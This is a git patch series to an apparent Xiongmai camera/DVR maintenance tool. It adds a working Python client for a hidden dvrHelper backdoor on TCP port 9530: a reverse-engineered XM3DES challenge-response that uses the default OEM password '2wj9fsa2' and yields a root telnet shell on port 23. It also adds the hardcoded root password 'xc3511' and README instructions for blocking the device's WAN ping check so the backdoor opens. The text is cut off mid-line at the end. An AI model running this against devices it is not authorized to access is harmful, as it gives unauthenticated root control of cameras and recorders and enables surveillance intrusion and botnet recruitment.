From 8e84d5de484067d6d0e46181abd4026475d87f9a Mon Sep 17 00:00:00 2001 From: Dmitry Ilyin <6576495+widgetii@users.noreply.github.com> Date: Mon, 30 Nov 2026 19:52:37 +0300 Subject: [PATCH 1/3] telnet_opener: run telnetd in daemon mode so the port probe can't kill the listener --- telnet_opener.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/telnet_opener.py b/telnet_opener.py index 580d553..4c176e9 100755 --- a/telnet_opener.py +++ b/telnet_opener.py @@ -130,9 +130,12 @@ def cmd_armebenv(swver): def cmd_telnetd(port): + # No -F: foreground telnetd serves exactly one session and exits + # when it closes — the port probe itself would kill the listener. + # Daemon mode detaches and survives the upgrade context. return { "Command": "Shell", - "Script": f"busybox telnetd -F -p {port} -l /bin/sh", + "Script": f"busybox telnetd -p {port} -l /bin/sh", } From 2fdf8167a248571ad8e462e63cca7d0b589cabcf Mon Sep 17 00:00:00 2001 From: Dmitry Ilyin <6576495+widgetii@users.noreply.github.com> Date: Mon, 30 Nov 2026 19:55:05 +0300 Subject: [PATCH 2/3] telnet_opener: add dvrHelper 9530 telnet gate (no-reboot route for XM DVRs) XM DVR/NVR firmware ships dvrHelper with a hidden listener on TCP 9530 that spawns "telnetd xmforever" (root on port 23) after an XM3DES challenge-response. New xmtelnet.py implements the vendor's in-house DES variant (textbook tables, LSB-first bit cells, no final half-swap) plus the wire protocol; telnet_opener.py now probes for the gate first and prefers it when present: no reboot, no DVRIP credentials, and it works on NVR firmware where the SkipCheck InstallDesc path is absent. One wrong OEM password disables the listener until reboot (never blind-retried; --xm-passwd for customized units); a reachable WAN makes the gate answer Refuse:Internet, which is retryable. Root password xc3511 added for the xmforever telnetd (checked against /etc/xmtelnetdpw DES-crypt field). Verified end-to-end on a QEMU twin of the stock NBD6804T-F (HI3520DV200) firmware: verify:OK -> Open:OK -> root shell on :23. --- CLAUDE.md | 11 ++ README.md | 31 +++- telnet_opener.py | 66 ++++++++- xmtelnet.py | 367 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 472 insertions(+), 3 deletions(-) create mode 100644 xmtelnet.py diff --git a/CLAUDE.md b/CLAUDE.md index df6c2ec..90ebf32 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -142,6 +142,17 @@ self-contained `ipctool` hardware backup to an NFS share (`-b`). Note: the `InstallDesc` shell-injection path is **blocked on XM firmware built after 2020-05-07**, which affects what this tool can do on newer cameras. +A second, DVR/NVR-only enable route lives in `xmtelnet.py`: the hidden +dvrHelper listener on TCP 9530 spawns `telnetd xmforever` after an +XM3DES challenge-response (XM's in-house LSB-first DES variant — the +tables are textbook, the bit-cell convention is not; see the module +docstring and the KAT in `self_test()`). `telnet_opener.py` probes 9530 +first and prefers it when present (no reboot, no DVRIP credentials). +Two firmware properties to respect: a single wrong OEM password +permanently disables the listener until reboot (never blind-retry), +and a reachable WAN (pings to 114.114.114.114/8.8.8.8/180.76.76.76 +succeeding) makes the gate answer `Refuse:Internet`. + ## Conventions when extending - Protocol/wire changes belong in `dvrip.py`; mirror into diff --git a/README.md b/README.md index becf91e..ee05d76 100644 --- a/README.md +++ b/README.md @@ -676,7 +676,36 @@ python3 telnet_opener.py 10.0.0.10 -t Default telnet credentials on Xiongmai stock firmware are `root` / `xmhdipc`. Firmware built from 2021 on (e.g. `HI3516EV300_85H50AI` `000529B2` build 2021-03-03, and a 2024 `GK7201V200` build) uses `root` / `Hp#!8CocD_g` instead; -the tool tries both. +the tool tries both. NVRs opened through the 9530 gate (below) ask for +`root` / `xc3511` — that, too, is tried automatically. + +### The dvrHelper gate (port 9530): telnet with no reboot and no DVRIP login + +XM DVR/NVR firmware also ships `dvrHelper` — a hidden listener on TCP port +9530 that starts `telnetd xmforever` (root on port 23) for any caller that +answers its XM3DES challenge-response with the right OEM password +(default `2wj9fsa2`, or the first 8 bytes of `/mnt/custom/TelnetOEMPasswd` +on customized units). `telnet_opener.py` probes for this listener first +and prefers it when present: no reboot, no credentials, and it works on +NVR firmware where the SkipCheck exploit is unavailable: + +```sh +# Works the same with -b/--backup and with no flags at all. +python3 telnet_opener.py 10.0.0.10 -t +``` + +Details live in `xmtelnet.py` (`python3 xmtelnet.py ` also runs the +handshake standalone). Two caveats from the firmware: + +* **One wrong OEM password kills the 9530 listener until the device + reboots** — it exits, no respawn. Wrong answers are never retried + automatically; pass `--xm-passwd` if your unit is customized. +* While the device can ping `114.114.114.114` / `8.8.8.8` / `180.76.76.76`, + the gate answers `Refuse:Internet` and keeps the listener alive (a + blocked WAN makes it proceed). That state is retryable. + +Verified on an `NBD6804T-F` (HI3520DV200 DVR) both on hardware and on a +QEMU digital twin of its stock firmware. `-b/--backup` is self-contained and exits 0 / non-0 for use in scripts and agentic automation. It checks for telnet on port 23 — if closed, it runs diff --git a/telnet_opener.py b/telnet_opener.py index 4c176e9..e1f8482 100755 --- a/telnet_opener.py +++ b/telnet_opener.py @@ -11,6 +11,8 @@ import requests import zipfile +import xmtelnet + TELNET_PORT = 4321 ARCHIVE_URL = "https://github.com/widgetii/xmupdates/raw/main/archive" @@ -19,6 +21,11 @@ # (`telnetctrl 1`); 50119 was observed on GK7205V300 + 000699H7. DEFAULT_TELNET_PORTS = (23, 4321, 50119) +# Hidden dvrHelper gate (XM DVR/NVR firmware): a listener on this port +# spawns `telnetd xmforever` (= port 23, root) for callers that pass its +# XM3DES challenge-response. See xmtelnet.py. +XM_TELNETD_PORT = 9530 + # Root passwords of the stock telnet, tried in order. The password changed # between firmware builds: xmhdipc is the classic one; builds from 2021 on # (seen on HI3516EV300_85H50AI 000529B2 build 2021-03-03 and on a 2024 @@ -26,6 +33,11 @@ TELNET_CREDENTIALS = ( ("root", "xmhdipc"), ("root", "Hp#!8CocD_g"), + # For the `telnetd xmforever` session opened through the 9530 + # dvrHelper gate: busybox login checks the DES-crypt field of + # /etc/xmtelnetdpw, absxcfbgXtb3o == crypt("xc3511", "ab"). + # Observed on an NBD6804T-F NVR (HI3520DV200). + ("root", "xc3511"), ) # InstallDesc that bypasses Hardware/Vendor/Flash validation ("SkipCheck" @@ -117,6 +129,34 @@ def check_port(host_ip, port): return result_of_check == 0 +def enable_telnet_via_9530(host_ip, passwd=xmtelnet.XM9530_PASSWD, + ports=DEFAULT_TELNET_PORTS, wait_timeout=120): + """No-reboot enable path for XM DVRs/NVRs: probe for the dvrHelper + gate on port 9530 (its presence is the device-property check -- it + only exists on XM firmware with the dvrHelper telnet backdoor), and + if present run the XM3DES handshake from xmtelnet.py. Unlike the + InstallDesc route this needs neither DVRIP credentials nor a + reboot, and it works on NVR firmware where the SkipCheck exploit + is unavailable. Returns the telnet port, or None.""" + if not check_port(host_ip, XM_TELNETD_PORT): + return None + if not xmtelnet.open_telnet_9530(host_ip, passwd=passwd): + # EITHER refused (recoverable, printed by xmtelnet) OR the one + # bad-digest rule fired (9530 dead until reboot, also printed). + # Do not retry from here, whatever the reason. + return None + telnet_port = next( + (p for p in ports if p != XM_TELNETD_PORT and check_port(host_ip, p)), + None) + if telnet_port: + print(f"Telnet open on {host_ip}:{telnet_port} " + "(no reboot needed -- dvrHelper route)") + return telnet_port + print("9530 said Open:OK but no telnet port answered; " + "check for a port-forward/NAT issue.") + return None + + def extract_gen(swver): return swver.split(".")[3] @@ -231,8 +271,13 @@ def telnet_login(host_ip, port, credentials=TELNET_CREDENTIALS): def do_backup_via_telnet(host_ip, nfs_share, mount_point="/utils", user="admin", password="", - telnet_ports=DEFAULT_TELNET_PORTS): + telnet_ports=DEFAULT_TELNET_PORTS, + xm_passwd=xmtelnet.XM9530_PASSWD): telnet_port = next((p for p in telnet_ports if check_port(host_ip, p)), None) + if telnet_port is None: + # First: the no-reboot dvrHelper route (XM DVRs/NVRs, port 9530). + telnet_port = enable_telnet_via_9530(host_ip, passwd=xm_passwd, + ports=telnet_ports) if telnet_port is None: print(f"Telnet closed on {host_ip}, enabling via SkipCheck InstallDesc...") telnet_port = enable_telnet_via_dvrip(host_ip, user, password, telnet_ports) @@ -312,6 +357,7 @@ def open_telnet(host_ip, port, **kwargs): user = kwargs.get("username", "admin") password = kwargs.get("password", "") ports = kwargs.get("ports") or DEFAULT_TELNET_PORTS + xm_passwd = kwargs.get("xm_passwd", xmtelnet.XM9530_PASSWD) if make_backup: if not nfs_share: @@ -320,9 +366,17 @@ def open_telnet(host_ip, port, **kwargs): return False return do_backup_via_telnet(host_ip, nfs_share, user=user, password=password, - telnet_ports=ports) + telnet_ports=ports, + xm_passwd=xm_passwd) if not make_telnet: + # Prefer the no-reboot dvrHelper route when the device has the + # 9530 backdoor (XM DVRs/NVRs); fall back to InstallDesc + + # reboot otherwise (or when the gate refuses us). + opened = enable_telnet_via_9530(host_ip, passwd=xm_passwd, ports=ports) + if opened: + print(f"Now use 'telnet {host_ip} {opened}' to login") + return True return enable_telnet_via_dvrip(host_ip, user=user, password=password, ports=ports) is not None @@ -402,6 +456,14 @@ def main(): "(post-reboot port is firmware-determined). " f"Default {','.join(str(p) for p in DEFAULT_TELNET_PORTS)}.", ) + parser.add_argument( + "--xm-passwd", + default=xmtelnet.XM9530_PASSWD.decode(), + help="OEM password for the dvrHelper 9530 gate (first 8 bytes of " + "/mnt/custom/TelnetOEMPasswd on the device; default is XM's " + "built-in '2wj9fsa2'). CAUTION: one wrong answer disables the " + "9530 listener until the device reboots.", + ) args = parser.parse_args() kwargs = vars(args) kwargs["ports"] = tuple(int(p) for p in args.ports.split(",")) diff --git a/xmtelnet.py b/xmtelnet.py new file mode 100644 index 0000000..9100b9b --- /dev/null +++ b/xmtelnet.py @@ -0,0 +1,367 @@ +#!/usr/bin/env python3 +"""Xiongmai dvrHelper hidden telnet gate (TCP port 9530). + +Beyond the well-known InstallDesc/OPSystemUpgrade route, XM DVR/NVR +firmware ships dvrHelper with `TelnetdProc_thrd`: a listener on TCP +9530 that spawns `telnetd xmforever` (port 23, root) for a caller who +proves knowledge of the OEM password via an XM3DES challenge-response. + +Protocol (one connection, single-threaded server, 15 s select timeout): + + C->S [len]"OpenTelnet:OpenOnce" frame = 1 length byte + payload + S->C "randNum:NNNNNNNN" 16 bytes, NO newline + C->S [len]"randNum:" + 8-byte digest + S->C "verify:OK" 9 bytes (or "verify:ERROR" 12) + C->S [len]"CMD:" + 16-byte ciphertext + S->C "Open:OK" 7 bytes -> telnetd on port 23 + + digest = XM3DES_encrypt(data=randNum, key=randNum + oem_passwd) + ciphertext = XM3DES_encrypt(b"Telnet:OpenOnce\\0", same key) + +XM3DES is XM's in-house DES variant, NOT textbook 3DES: all eight +permutation/S-box tables are standard, but bit cells are unpacked and +packed LSB-first ((byte >> i) & 1), S-box output nibbles are stored +LSB-first as well, and there is no final half-swap before FP. +EDE keying: K1 = randNum, K2 = oem_passwd (flag set when the combined +key is longer than 8 bytes; a shorter password degrades to single DES). +Reverse-engineered from the dvrHelper applet in XM busybox +(sub_2BB28/sub_2BC60/sub_2BD98/sub_2BE88) and verified bit-exact against +a live QEMU twin of an NBD6804T-F (HI3520DV200): the implementation +reproduces the server's own E-expansion scratch cells observed in a +guest RAM dump, and its digest earns `verify:OK` on the wire. + +Known-answer vector (ground truth from the twin, randNum=73678900, +passwd=2wj9fsa2): digest a8ee9fd23ffd7d9a. + +Warnings +-------- +* ONE wrong digest permanently kills the 9530 listener until the device + reboots (**verify:ERROR** -> the accept thread closes the socket and + exits, no respawn). Never retry blindly: fix the OEM password first. + The default OEM password is ``2wj9fsa2``; a custom one lives in + /mnt/custom/TelnetOEMPasswd (first 8 bytes) on the device. +* After the CMD frame the server pings 114.114.114.114, 8.8.8.8 and + 180.76.76.76 (`ping -w 2` each). If any replies, it answers + ``Refuse:Internet`` and does NOT start telnetd. Block these + destinations between you and the device to force the check to fail. +* The telnetd it spawns asks for the password hashed in + /etc/xmtelnetdpw (busybox login, DES crypt); ``xc3511`` works on the + tested unit (absxcfbgXtb3o == crypt("xc3511", "ab")). + +Usage from code:: + + import xmtelnet + if xmtelnet.open_telnet_9530("10.0.0.10"): + ... # telnet 10.0.0.10:23, root / xc3511 + +Standalone (offline self-test):: + + python3 xmtelnet.py # KAT only + python3 xmtelnet.py 10.0.0.10 # KAT + live handshake + +Stdlib only (Python 3.6+, like the rest of this repo). +""" + +import socket +import sys +import time + +XM9530_PORT = 9530 +XM9530_PASSWD = b"2wj9fsa2" +CMD_PLAINTEXT = b"Telnet:OpenOnce\x00" + +# --------------------------------------------------------------------------- +# XM DES tables -- textbook values, verified byte-for-byte against the +# dvrHelper applet's rodata (busybox 0xC454A..0xC4892). What makes this +# variant is the LSB-first bit-cell convention, not the tables. +# --------------------------------------------------------------------------- + +_IP = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, + 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] +_FP = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25] +_E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, + 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, + 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1] +_P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, + 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] +_PC1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, + 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, + 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, + 29, 21, 13, 5, 28, 20, 12, 4] +_PC2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, + 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, + 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32] +_SHIFTS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1] +_SBOX = [ + [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], + [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], + [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], + [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]], + [[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], + [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], + [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], + [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]], + [[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], + [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], + [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], + [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]], + [[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], + [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], + [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], + [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]], + [[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], + [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], + [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], + [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]], + [[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], + [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], + [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], + [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]], + [[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], + [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], + [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], + [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]], + [[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], + [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], + [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], + [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]], +] +# Flat S-box access done by dvrHelper: S[i] at stride 64, +# index 32*b0 + 16*b5 + 8*b1 + 4*b2 + 2*b3 + b4 (b0..b5 = 6-cell chunk). +_SFLAT = [v for box in _SBOX for row in box for v in row] + + +# --------------------------------------------------------------------------- +# XM3DES core +# --------------------------------------------------------------------------- + +def _unpack(data): + """Byte string -> list of bit cells, LSB-first: cell i = (b[i>>3]>>i)&1.""" + return [(data[i >> 3] >> (i & 7)) & 1 for i in range(8 * len(data))] + + +def _pack(cells): + """Mirror of _unpack (sub_2BC60 tail): out[i>>3] |= cell[i] << (i&7).""" + out = bytearray((len(cells) + 7) >> 3) + for i, c in enumerate(cells): + out[i >> 3] |= c << (i & 7) + return bytes(out) + + +def _key_schedule(key8): + bits = _unpack(key8) + k = [bits[t - 1] for t in _PC1] + c, d = k[:28], k[28:] + sched = [] + for s in _SHIFTS: + c = c[s:] + c[:s] + d = d[s:] + d[:s] + cd = c + d + sched.append([cd[t - 1] for t in _PC2]) + return sched + + +def _f(cells32, ks48): + e = [cells32[t - 1] for t in _E] + ex = [a ^ b for a, b in zip(e, ks48)] + out = [] + for s in range(8): + b = ex[6 * s:6 * s + 6] + idx = (32 * b[0] + 16 * b[5] + 8 * b[1] + + 4 * b[2] + 2 * b[3] + b[4]) + n = _SFLAT[64 * s + idx] + out.extend([(n >> j) & 1 for j in range(4)]) + return [out[t - 1] for t in _P] + + +def _block(data8, sched, enc): + bits = _unpack(data8) + permuted = [bits[t - 1] for t in _IP] + a, b = permuted[:32], permuted[32:] + if enc: + for r in range(16): + fh = _f(b, sched[r]) + a, b = b, [x ^ y for x, y in zip(fh, a)] + else: + for r in range(15, -1, -1): + fh = _f(a, sched[r]) + a, b = [x ^ y for x, y in zip(fh, b)], a + return _pack([[*(a + b)][t - 1] for t in _FP]) + + +def _schedules(rand, passwd): + key = rand + passwd # dvrHelper: sprintf("%s%s", randNum, passwd) + if len(key) > 8: # byte_E00DD flag in sub_2BB28 + return _key_schedule(key[:8]), _key_schedule(key[8:16]), True + return _key_schedule(rand), None, False + + +def xm_digest(rand, passwd): + """8-byte challenge digest: EDE-encrypt(randNum) with K1=randNum, + K2=passwd when the combined key is longer than 8, else plain + single-DES encrypt with K1 (the vendor's own degradation).""" + k1, k2, triple = _schedules(rand, passwd) + if not triple: + return _block(rand, k1, True) + d = _block(rand, k1, True) + d = _block(d, k2, False) + d = _block(d, k1, True) + return d + + +def xm_encrypt(data, rand, passwd): + """ECB-encrypt `data` the way the server expects the CMD frame: + EDE-encrypt with K1/randNum, K2/passwd (triple path), i.e. the + inverse of the server's dec/enc/dec. Falls back to single-DES ECB + with K1 when the combined key is <= 8 bytes.""" + k1, k2, triple = _schedules(rand, passwd) + if len(data) % 8: + data = data + b"\x00" * (-len(data) % 8) + out = [] + for i in range(0, len(data), 8): + d = data[i:i + 8] + if not triple: + out.append(_block(d, k1, True)) + continue + d = _block(d, k1, True) + d = _block(d, k2, False) + d = _block(d, k1, True) + out.append(d) + return b"".join(out) + + +# Ground truth captured off a live twin (see module docstring). +_KAT = (b"73678900", b"736789002wj9fsa2", "a8ee9fd23ffd7d9a") + + +def self_test(): + rand, _, want = _KAT + got = xm_digest(rand, b"2wj9fsa2").hex() + if got != want: + raise AssertionError("XM3DES KAT failed: %s != %s" % (got, want)) + # Decryption must invert encryption (round-trip sanity). + ct = xm_encrypt(CMD_PLAINTEXT, rand, b"2wj9fsa2") + k1, k2, _ = _schedules(rand, b"2wj9fsa2") + plain = b"" + for i in range(0, len(ct), 8): + d = ct[i:i + 8] + d = _block(d, k1, False) + d = _block(d, k2, True) + d = _block(d, k1, False) + plain += d + if plain != CMD_PLAINTEXT: + raise AssertionError("XM3DES round-trip failed") + return got + + +# --------------------------------------------------------------------------- +# Wire protocol +# --------------------------------------------------------------------------- + +def _frame(payload): + return bytes([len(payload) + 1]) + payload + + +def _recv_frame(sock, timeout): + """Read one server frame. Each server send() is a single segment with + a known-exact length and NO terminator; asking for more bytes would + block into the server's 15 s select timeout and wreck the session. + One recv plus a short drain for rare segmentation is what a verified + session showed.""" + sock.settimeout(timeout) + try: + data = sock.recv(256) + except socket.timeout: + return b"" + sock.settimeout(0.3) + try: + more = sock.recv(256) + if more: + data += more + except (socket.timeout, BlockingIOError, OSError): + pass + return data or b"" + + +def open_telnet_9530(host, port=XM9530_PORT, passwd=XM9530_PASSWD, + timeout=45, verbose=True): + """Run the 9530 challenge-response and ask dvrHelper to start + `telnetd xmforever` on port 23. Returns True on Open:OK. + + Beware: a single wrong OEM password answer (verify:ERROR) disables + the 9530 listener until the device reboots -- do not sit in a retry + loop with wrong passwords. `Refuse:Internet` is recoverable: the + server refuses while it can ping 114.114.114.114 / 8.8.8.8 / + 180.76.76.76; block those and try again (the listener survives it). + """ + if isinstance(passwd, str): + passwd = passwd.encode() + if verbose: + print(f"[9530] contacting dvrHelper on {host}:{port}") + s = socket.create_connection((host, port), timeout=timeout) + try: + s.sendall(_frame(b"OpenTelnet:OpenOnce")) + resp = _recv_frame(s, timeout) + if verbose: + print(f"[9530] <- {resp!r}") + if not resp.startswith(b"randNum:"): + print(f"[9530] unexpected reply (no randNum) -- abort") + return False + rand = resp[8:16] + if len(rand) != 8: + print("[9530] malformed randNum -- abort") + return False + digest = xm_digest(rand, passwd) + if verbose: + print(f"[9530] randNum={rand.decode()} digest={digest.hex()}") + s.sendall(_frame(b"randNum:" + digest)) + resp = _recv_frame(s, timeout) + if verbose: + print(f"[9530] <- {resp!r}") + if resp.startswith(b"verify:ERROR"): + print("[9530] verify:ERROR -- wrong OEM password. The 9530 " + "listener is now DISABLED until the device reboots; " + "fix the password (check /mnt/custom/TelnetOEMPasswd) " + "and NEVER blind-retry.") + return False + if not resp.startswith(b"verify:OK"): + print("[9530] verification failed without a reply -- abort") + return False + ct = xm_encrypt(CMD_PLAINTEXT, rand, passwd) + s.sendall(_frame(b"CMD:" + ct)) + # Three WAN pings of 2 s each before the verdict: allow the time. + deadline = time.monotonic() + 30 + resp = b"" + while time.monotonic() < deadline: + resp = _recv_frame(s, 10) + if resp: + break + if verbose: + print(f"[9530] <- {resp!r}") + if resp.startswith(b"Open:OK"): + if verbose: + print("[9530] Open:OK -- telnetd is up on port 23") + return True + if b"Refuse:" in resp: + print("[9530] Refuse:" + resp[8:].decode(errors="replace") + + " -- the device still passes its WAN ping check " + "(114.114.114.114 / 8.8.8.8 / 180.76.76.76). " + "Block those destinations and retry.") + return False + print(f"[9530] no Open:OK ({resp!r})") + return False + finally: + s.close() + + +if __name__ == "__main__": + kat = self_test() + print(f"xmtelnet self-test OK (KAT digest {kat})") + if len(sys.argv) > 1: + ok = open_telnet_9530(sys.argv[1]) + sys.exit(0 if ok else 1) From 0f05972e5df30ae3a54ec551168a39e6fa7fc05d Mon Sep 17 00:00:00 2001 From: Dmitry Ilyin <6576495+widgetii@users.noreply.github.com> Date: Mon, 30 Nov 2026 20:15:13 +0300 Subject: [PATCH 3/3] address code review: exact-length 9530 frames, gate routing, key padding Review findings fixed: 1. `-t` bypassed the 9530 gate described in the README example. The make_telnet flow now probes the gate first as well (same root shell, no InstallDesc upload, no reboot); InstallDesc port 4321 remains the fallback for gate-less cameras. README example corrected. 2. A custom --ports list without 23 discarded a working gate: dvrHelper always spawns telnetd on the vendor default port 23, so 23 is probed explicitly after Open:OK regardless of --ports, then the user list. 3. Socket errors (refused connect, resets, mid-handshake drops) aborted the whole opener; they are now caught and returned as False so the caller falls back to InstallDesc instead of crashing. 4. The hand-rolled reply reader could truncate frames split across TCP segments. Replies are now read to their protocol-fixed lengths (16B randNum, 9B/12B verify, 7B/15B verdict) with a reassembling recv loop and never past the frame, which would have blocked into the server's 15 s select timeout. 5. Short OEM passwords crashed the key setup: dvrHelper zero-pads the combined key material to 16 bytes (sub_2BB28 memset/memcpy), so the client now does the same; self_test covers 1-3 byte passwords. Validated against a fragmenting mock server (all replies split across segments, incl. verify:OK as 5+4) plus the negative paths: verify:ERROR, garbage, Refuse:Internet, refused connection. KAT unchanged. Ruff clean. --- README.md | 8 ++-- telnet_opener.py | 16 ++++++- xmtelnet.py | 113 ++++++++++++++++++++++++++++++----------------- 3 files changed, 92 insertions(+), 45 deletions(-) diff --git a/README.md b/README.md index ee05d76..ea19e6c 100644 --- a/README.md +++ b/README.md @@ -669,7 +669,8 @@ python3 telnet_opener.py 10.0.0.10 -b --nfs 10.0.0.1:/srv/ipctool # Manual: just enable telnet (camera reboots once). python3 telnet_opener.py 10.0.0.10 -# Manual: open a non-persistent shell on port 4321 (no reboot). +# Manual: open a shell with no reboot -- port 4321 via InstallDesc on +# cameras; on DVRs/NVRs the 9530 gate (below) opens port 23 instead. python3 telnet_opener.py 10.0.0.10 -t ``` @@ -690,8 +691,9 @@ and prefers it when present: no reboot, no credentials, and it works on NVR firmware where the SkipCheck exploit is unavailable: ```sh -# Works the same with -b/--backup and with no flags at all. -python3 telnet_opener.py 10.0.0.10 -t +# Any mode -- no flags, -t, or -b/--backup -- tries the gate first and +# only falls back to the reboot route on gate-less devices. +python3 telnet_opener.py 10.0.0.10 ``` Details live in `xmtelnet.py` (`python3 xmtelnet.py ` also runs the diff --git a/telnet_opener.py b/telnet_opener.py index e1f8482..c3ba8e6 100755 --- a/telnet_opener.py +++ b/telnet_opener.py @@ -145,8 +145,13 @@ def enable_telnet_via_9530(host_ip, passwd=xmtelnet.XM9530_PASSWD, # bad-digest rule fired (9530 dead until reboot, also printed). # Do not retry from here, whatever the reason. return None + # dvrHelper spawns `telnetd xmforever` on the vendor default telnet + # port (23) -- probe it explicitly even when --ports customizes the + # list (a list without 23 must not discard a working gate), then + # the user's ports (some OEM variants move telnetd). + candidates = [23] + [p for p in ports if p not in (23, XM_TELNETD_PORT)] telnet_port = next( - (p for p in ports if p != XM_TELNETD_PORT and check_port(host_ip, p)), + (p for p in candidates if check_port(host_ip, p)), None) if telnet_port: print(f"Telnet open on {host_ip}:{telnet_port} " @@ -380,6 +385,15 @@ def open_telnet(host_ip, port, **kwargs): return enable_telnet_via_dvrip(host_ip, user=user, password=password, ports=ports) is not None + # make_telnet (-t): still prefer the no-reboot dvrHelper gate when + # the device has it -- same root shell, but no InstallDesc upload + # and no DVRIP credentials; InstallDesc port 4321 remains the + # fallback for gate-less cameras. + opened = enable_telnet_via_9530(host_ip, passwd=xm_passwd, ports=ports) + if opened: + print(f"Now use 'telnet {host_ip} {opened}' to login") + return True + cam = DVRIPCam(host_ip, user=user, password=password) if not cam.login(): print(f"Cannot connect {host_ip}") diff --git a/xmtelnet.py b/xmtelnet.py index 9100b9b..4a040df 100644 --- a/xmtelnet.py +++ b/xmtelnet.py @@ -64,7 +64,6 @@ import socket import sys -import time XM9530_PORT = 9530 XM9530_PASSWD = b"2wj9fsa2" @@ -195,10 +194,16 @@ def _block(data8, sched, enc): def _schedules(rand, passwd): - key = rand + passwd # dvrHelper: sprintf("%s%s", randNum, passwd) - if len(key) > 8: # byte_E00DD flag in sub_2BB28 + """dvrHelper (sub_2BB28) builds the key material in a fixed 16-byte + buffer: zeroed first, then filled with randNum + passwd truncated to + 16 total; the 3DES path is taken when the combined key exceeds 8 + bytes. The zero padding matters for OEM passwords shorter than 8 + bytes -- slicing without it would only see the short tail.""" + combined = rand + passwd # dvrHelper: sprintf("%s%s", randNum, passwd) + key = (combined + b"\x00" * 16)[:16] + if len(combined) > 8: # byte_E00DD flag in sub_2BB28 return _key_schedule(key[:8]), _key_schedule(key[8:16]), True - return _key_schedule(rand), None, False + return _key_schedule(key[:8]), None, False def xm_digest(rand, passwd): @@ -256,6 +261,22 @@ def self_test(): plain += d if plain != CMD_PLAINTEXT: raise AssertionError("XM3DES round-trip failed") + # Short OEM passwords must not crash (the vendor zero-pads the + # combined key to 16 bytes) and must stay invertible. + for pw in (b"", b"a", b"1234"): + xm_digest(rand, 